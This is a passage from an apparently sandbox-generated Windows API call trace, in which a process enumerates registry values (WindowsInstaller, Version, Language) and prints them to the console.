_File=0x7fefd702ab0) returned 0 [0149.889] __iob_func () returned 0x7fefd702a80 [0149.890] _fileno (_File=0x7fefd702ab0) returned 1 [0149.890] _errno () returned 0x204bb0 [0149.890] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.890] _errno () returned 0x204bb0 [0149.890] GetFileType (hFile=0x50) returned 0x1 [0149.890] lstrlenW (lpString=" ") returned 4 [0149.890] GetConsoleOutputCP () returned 0x1b5 [0149.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.890] GetConsoleOutputCP () returned 0x1b5 [0149.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.890] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.890] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.890] __iob_func () returned 0x7fefd702a80 [0149.890] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.890] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xa") returned 3 [0149.890] _fileno (_File=0x7fefd702ab0) returned 1 [0149.890] _errno () returned 0x204bb0 [0149.890] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.890] _errno () returned 0x204bb0 [0149.890] GetFileType (hFile=0x50) returned 0x1 [0149.890] lstrlenW (lpString="0xa") returned 3 [0149.890] GetConsoleOutputCP () returned 0x1b5 [0149.890] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.890] GetConsoleOutputCP () returned 0x1b5 [0149.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xa", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xa", lpUsedDefaultChar=0x0) returned 3 [0149.891] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.891] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.891] __iob_func () returned 0x7fefd702a80 [0149.891] _fileno (_File=0x7fefd702ab0) returned 1 [0149.891] _errno () returned 0x204bb0 [0149.891] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.891] _errno () returned 0x204bb0 [0149.891] GetFileType (hFile=0x50) returned 0x1 [0149.891] lstrlenW (lpString="\n") returned 1 [0149.891] GetConsoleOutputCP () returned 0x1b5 [0149.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.891] GetConsoleOutputCP () returned 0x1b5 [0149.891] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.891] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.891] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.891] GetProcessHeap () returned 0x3c0000 [0149.891] GetProcessHeap () returned 0x3c0000 [0149.891] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.891] GetProcessHeap () returned 0x3c0000 [0149.891] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.891] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.891] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.892] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.892] GetProcessHeap () returned 0x3c0000 [0149.892] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.892] GetProcessHeap () returned 0x3c0000 [0149.892] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.892] GetProcessHeap () returned 0x3c0000 [0149.892] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.892] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.892] __iob_func () returned 0x7fefd702a80 [0149.892] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.892] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.892] _fileno (_File=0x7fefd702ab0) returned 1 [0149.892] _errno () returned 0x204bb0 [0149.892] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.892] _errno () returned 0x204bb0 [0149.892] GetFileType (hFile=0x50) returned 0x1 [0149.892] lstrlenW (lpString=" ") returned 4 [0149.892] GetConsoleOutputCP () returned 0x1b5 [0149.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.892] GetConsoleOutputCP () returned 0x1b5 [0149.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.892] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.892] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.893] lstrlenW (lpString="WindowsInstaller") returned 16 [0149.893] __iob_func () returned 0x7fefd702a80 [0149.893] _fileno (_File=0x7fefd702ab0) returned 1 [0149.893] _errno () returned 0x204bb0 [0149.893] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.893] _errno () returned 0x204bb0 [0149.893] GetFileType (hFile=0x50) returned 0x1 [0149.893] lstrlenW (lpString="WindowsInstaller") returned 16 [0149.893] GetConsoleOutputCP () returned 0x1b5 [0149.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.893] GetConsoleOutputCP () returned 0x1b5 [0149.893] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0149.893] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0149.893] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.893] __iob_func () returned 0x7fefd702a80 [0149.893] _fileno (_File=0x7fefd702ab0) returned 1 [0149.893] _errno () returned 0x204bb0 [0149.893] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.893] _errno () returned 0x204bb0 [0149.893] GetFileType (hFile=0x50) returned 0x1 [0149.893] lstrlenW (lpString=" ") returned 4 [0149.893] GetConsoleOutputCP () returned 0x1b5 [0149.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.894] GetConsoleOutputCP () returned 0x1b5 [0149.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.894] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.894] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.894] __iob_func () returned 0x7fefd702a80 [0149.894] _fileno (_File=0x7fefd702ab0) returned 1 [0149.894] _errno () returned 0x204bb0 [0149.894] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.894] _errno () returned 0x204bb0 [0149.894] GetFileType (hFile=0x50) returned 0x1 [0149.894] lstrlenW (lpString="REG_DWORD") returned 9 [0149.894] GetConsoleOutputCP () returned 0x1b5 [0149.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.894] GetConsoleOutputCP () returned 0x1b5 [0149.894] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.894] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.894] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.894] __iob_func () returned 0x7fefd702a80 [0149.894] _fileno (_File=0x7fefd702ab0) returned 1 [0149.894] _errno () returned 0x204bb0 [0149.894] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.894] _errno () returned 0x204bb0 [0149.895] GetFileType (hFile=0x50) returned 0x1 [0149.895] lstrlenW (lpString=" ") returned 4 [0149.895] GetConsoleOutputCP () returned 0x1b5 [0149.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.895] GetConsoleOutputCP () returned 0x1b5 [0149.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.895] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.895] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.895] __iob_func () returned 0x7fefd702a80 [0149.895] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.895] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.895] _fileno (_File=0x7fefd702ab0) returned 1 [0149.895] _errno () returned 0x204bb0 [0149.895] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.895] _errno () returned 0x204bb0 [0149.895] GetFileType (hFile=0x50) returned 0x1 [0149.895] lstrlenW (lpString="0x1") returned 3 [0149.895] GetConsoleOutputCP () returned 0x1b5 [0149.895] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.895] GetConsoleOutputCP () returned 0x1b5 [0149.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.896] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.896] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.896] __iob_func () returned 0x7fefd702a80 [0149.896] _fileno (_File=0x7fefd702ab0) returned 1 [0149.896] _errno () returned 0x204bb0 [0149.896] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.896] _errno () returned 0x204bb0 [0149.896] GetFileType (hFile=0x50) returned 0x1 [0149.896] lstrlenW (lpString="\n") returned 1 [0149.896] GetConsoleOutputCP () returned 0x1b5 [0149.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.896] GetConsoleOutputCP () returned 0x1b5 [0149.896] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.896] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.896] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.896] GetProcessHeap () returned 0x3c0000 [0149.896] GetProcessHeap () returned 0x3c0000 [0149.896] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.896] GetProcessHeap () returned 0x3c0000 [0149.896] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.896] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.896] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.896] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.896] GetProcessHeap () returned 0x3c0000 [0149.897] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.897] GetProcessHeap () returned 0x3c0000 [0149.897] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.897] GetProcessHeap () returned 0x3c0000 [0149.897] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.897] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xe0a61b9, pcbData=0x29f780*=0x4) returned 0x0 [0149.897] __iob_func () returned 0x7fefd702a80 [0149.897] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.897] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.897] _fileno (_File=0x7fefd702ab0) returned 1 [0149.897] _errno () returned 0x204bb0 [0149.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.897] _errno () returned 0x204bb0 [0149.897] GetFileType (hFile=0x50) returned 0x1 [0149.897] lstrlenW (lpString=" ") returned 4 [0149.897] GetConsoleOutputCP () returned 0x1b5 [0149.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.897] GetConsoleOutputCP () returned 0x1b5 [0149.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.897] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.897] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.897] lstrlenW (lpString="Version") returned 7 [0149.897] __iob_func () returned 0x7fefd702a80 [0149.897] _fileno (_File=0x7fefd702ab0) returned 1 [0149.897] _errno () returned 0x204bb0 [0149.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.897] _errno () returned 0x204bb0 [0149.897] GetFileType (hFile=0x50) returned 0x1 [0149.897] lstrlenW (lpString="Version") returned 7 [0149.898] GetConsoleOutputCP () returned 0x1b5 [0149.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0149.898] GetConsoleOutputCP () returned 0x1b5 [0149.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0149.898] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0149.898] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.898] __iob_func () returned 0x7fefd702a80 [0149.898] _fileno (_File=0x7fefd702ab0) returned 1 [0149.898] _errno () returned 0x204bb0 [0149.898] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.898] _errno () returned 0x204bb0 [0149.898] GetFileType (hFile=0x50) returned 0x1 [0149.898] lstrlenW (lpString=" ") returned 4 [0149.898] GetConsoleOutputCP () returned 0x1b5 [0149.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.898] GetConsoleOutputCP () returned 0x1b5 [0149.898] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.898] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.898] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.899] __iob_func () returned 0x7fefd702a80 [0149.899] _fileno (_File=0x7fefd702ab0) returned 1 [0149.899] _errno () returned 0x204bb0 [0149.899] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.899] _errno () returned 0x204bb0 [0149.899] GetFileType (hFile=0x50) returned 0x1 [0149.899] lstrlenW (lpString="REG_DWORD") returned 9 [0149.899] GetConsoleOutputCP () returned 0x1b5 [0149.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.899] GetConsoleOutputCP () returned 0x1b5 [0149.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.899] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.899] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.899] __iob_func () returned 0x7fefd702a80 [0149.899] _fileno (_File=0x7fefd702ab0) returned 1 [0149.899] _errno () returned 0x204bb0 [0149.899] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.899] _errno () returned 0x204bb0 [0149.899] GetFileType (hFile=0x50) returned 0x1 [0149.899] lstrlenW (lpString=" ") returned 4 [0149.899] GetConsoleOutputCP () returned 0x1b5 [0149.899] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.899] GetConsoleOutputCP () returned 0x1b5 [0149.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.900] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.900] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.900] __iob_func () returned 0x7fefd702a80 [0149.900] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.900] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xe0a61b9") returned 9 [0149.900] _fileno (_File=0x7fefd702ab0) returned 1 [0149.900] _errno () returned 0x204bb0 [0149.900] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.900] _errno () returned 0x204bb0 [0149.900] GetFileType (hFile=0x50) returned 0x1 [0149.900] lstrlenW (lpString="0xe0a61b9") returned 9 [0149.900] GetConsoleOutputCP () returned 0x1b5 [0149.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe0a61b9", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.900] GetConsoleOutputCP () returned 0x1b5 [0149.900] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xe0a61b9", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xe0a61b9", lpUsedDefaultChar=0x0) returned 9 [0149.900] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.900] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.900] __iob_func () returned 0x7fefd702a80 [0149.900] _fileno (_File=0x7fefd702ab0) returned 1 [0149.900] _errno () returned 0x204bb0 [0149.900] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.900] _errno () returned 0x204bb0 [0149.900] GetFileType (hFile=0x50) returned 0x1 [0149.901] lstrlenW (lpString="\n") returned 1 [0149.901] GetConsoleOutputCP () returned 0x1b5 [0149.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.901] GetConsoleOutputCP () returned 0x1b5 [0149.901] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.901] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.901] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.901] GetProcessHeap () returned 0x3c0000 [0149.901] GetProcessHeap () returned 0x3c0000 [0149.901] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.901] GetProcessHeap () returned 0x3c0000 [0149.901] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.901] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.901] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.901] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.901] GetProcessHeap () returned 0x3c0000 [0149.901] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.901] GetProcessHeap () returned 0x3c0000 [0149.901] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.901] GetProcessHeap () returned 0x3c0000 [0149.901] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.901] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x409, pcbData=0x29f780*=0x4) returned 0x0 [0149.901] __iob_func () returned 0x7fefd702a80 [0149.901] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.902] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.902] _fileno (_File=0x7fefd702ab0) returned 1 [0149.902] _errno () returned 0x204bb0 [0149.902] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.902] _errno () returned 0x204bb0 [0149.902] GetFileType (hFile=0x50) returned 0x1 [0149.902] lstrlenW (lpString=" ") returned 4 [0149.902] GetConsoleOutputCP () returned 0x1b5 [0149.902] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" 